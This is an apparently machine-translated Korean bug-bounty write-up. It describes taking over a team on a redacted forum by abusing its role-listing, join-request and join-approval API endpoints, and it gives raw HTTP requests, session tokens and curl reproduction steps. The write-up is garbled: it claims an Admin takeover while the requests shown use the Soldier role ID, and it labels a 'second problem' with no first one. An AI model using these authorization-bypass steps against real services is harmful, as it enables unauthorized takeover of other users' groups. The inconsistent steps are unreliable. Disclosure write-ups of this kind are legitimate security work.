전체 팀 인수

Jan 09 2023
하레 크리슈나! 제 이름은 투힌 보스(tuhin1729)입니다. 저는 현재 BugBase에서 CTF Designing Consultant로 일하고 있습니다.

하레 크리슈나! 제 이름은 Tuhin Bose( tuhin1729 )입니다. 저는 현재 BugBase 에서 CTF 디자인 컨설턴트로 일하고 있습니다. 이 글에서 나는 누군가의 팀을 인수할 수 있게 해 준 나의 발견 중 하나를 공유할 것입니다.
따라서 시간을 낭비하지 않고 바로 블로그로 이동해 보겠습니다.

소개:

기본적으로 대상은 사람들이 서로 상호 작용하고 다른 사람들과 팀을 만드는 등의 작업을 수행할 수 있는 포럼입니다. 팀 기능을 분석하는 동안 다음 사항을 발견했습니다.

  1. 사용자는 팀을 만들 수 있습니다.
  2. 다른 사용자는 군인, 관리자 및 지원자 역할 중 하나로 팀에 합류하라는 요청을 보낼 수 있습니다. 그러나 관리자로 팀에 가입하라는 요청을 보낼 수는 없습니다 . 모든 역할에는 팀에서 수행할 수 있는 권한에 따라 다른 중요도 수준(1에서 10 사이의 정수)이 있습니다. 예를 들어, 역할 서포터는 중요도 수준 10(최소 권한)을 가지며 역할 관리자는 중요도 수준 1(최대 권한)을 갖습니다.
  3. 팀의 관리자가 사용자의 팀 참여 요청을 승인하면 해당 사용자는 해당 팀의 일원이 됩니다. 그러나 관리자만이 팀의 모든 사람을 허용할 수 있는 권한이 있습니다.

Burp Suite의 모든 HTTP 요청을 분석하는 동안 사용 가능한 모든 역할을 가져오는 요청을 발견했습니다.

POST /functions/team-roles-get HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Content-Length: 2
Referer: https://redacted.com/
Origin: https://redacted.com

{}

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 309
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, HEAD, OPTIONS, POST, PUT, DELETE
Access-Control-Allow-Origin: https://redacted.com
Date: Sun, 08 Jan 2023 05:18:59 GMT
Server: nginx
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Powered-By: Express
X-Xss-Protection: 1; mode=block

{"result":[{"roleName":"Soldier","importance":4,"objectId":"ZwskfB2xQr","__type":"Object","className":"TeamRole"},{"roleName":"Admin","importance":1,"objectId":"QgtliC3yRs","__type":"Object","className":"TeamRole"},{"roleName":"Manager","importance":2,"objectId":"RhvmjD4zSt","__type":"Object","className":"TeamRole"},{"roleName":"Supporter","importance":10,"objectId":"ViuokE5aTu","__type":"Object","className":"TeamRole"}]}

POST /functions/team-join-post HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Content-Length: 164
Referer: https://redacted.com/
X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g
Origin: https://redacted.com

{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"role":{"__type":"Pointer","className":"TeamRole","objectId":"ZwskfB2xQr"},"message":"1234"}

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 95
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, HEAD, OPTIONS, POST, PUT, DELETE
Access-Control-Allow-Origin: https://redacted.com
Date: Sun, 08 Jan 2023 06:37:56 GMT
Server: nginx
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Powered-By: Express
X-Xss-Protection: 1; mode=block

{"result":{"awaitingApproval":true,"message":"1234","objectId":"GfqdcC7cqA","__type":"Object","className":"TeamMember"}}

두 번째 문제 - 관리자를 대신하여 팀 가입 요청 승인:

이제 팀의 관리자가 되어 팀 참여 요청을 보내도 실제 관리자는 우리가 지원한 역할을 명확하게 볼 수 있으므로 요청을 허용하지 않습니다.
관리자 계정에 로그인하고 팀 참여 요청을 승인하려고 했을 때 다음 HTTP 요청을 확인했습니다.

POST /functions/team-join-response-post HTTP/2
Host: redacted.com
Content-Length: 169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Content-Type: application/json; charset=utf-8
Accept: */*
X-Session-Token: 6Y4z0L9p6N1d4O2d8G7w4Q9p4E3o1R3c6K0w0C9h
Origin: https://redacted.com
Referer: https://redacted.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"member":{"__type":"Pointer","className":"TeamMember","objectId":"GfqdcC7cqA"},"isApproved":true}

으악! 관리자로 팀에 합류했습니다. 이제 팀 세부 정보를 편집하고 다른 모든 팀 참여 요청을 보고 승인/거부할 수 있습니다.

위의 내용을 읽기에 너무 게을러지는 경우를 대비하여 여기에 더 짧은 버전이 있습니다.

재현 단계:

  1. 관리자 역할의 objectId 가져오기:
  2. tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-roles-get --data '{}' -H 'X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g'
    
    {"result":[{"roleName":"Soldier","importance":4,"objectId":"ZwskfB2xQr","__type":"Object","className":"TeamRole"},{"roleName":"Admin","importance":1,"objectId":"QgtliC3yRs","__type":"Object","className":"TeamRole"},{"roleName":"Manager","importance":2,"objectId":"RhvmjD4zSt","__type":"Object","className":"TeamRole"},{"roleName":"Supporter","importance":10,"objectId":"ViuokE5aTu","__type":"Object","className":"TeamRole"}]}
    

    tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-join-post --data '{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"role":{"__type":"Pointer","className":"TeamRole","objectId":"ZwskfB2xQr"},"message":"1234"}' -H 'X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g'
    
    {"result":{"awaitingApproval":true,"message":"1234","objectId":"GfqdcC7cqA","__type":"Object","className":"TeamMember"}}
    

    tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-join-response-post --data '{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"member":{"__type":"Pointer","className":"TeamMember","objectId":"GfqdcC7cqA"},"isApproved":true}' -H 'X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g'
    
    {"result":true}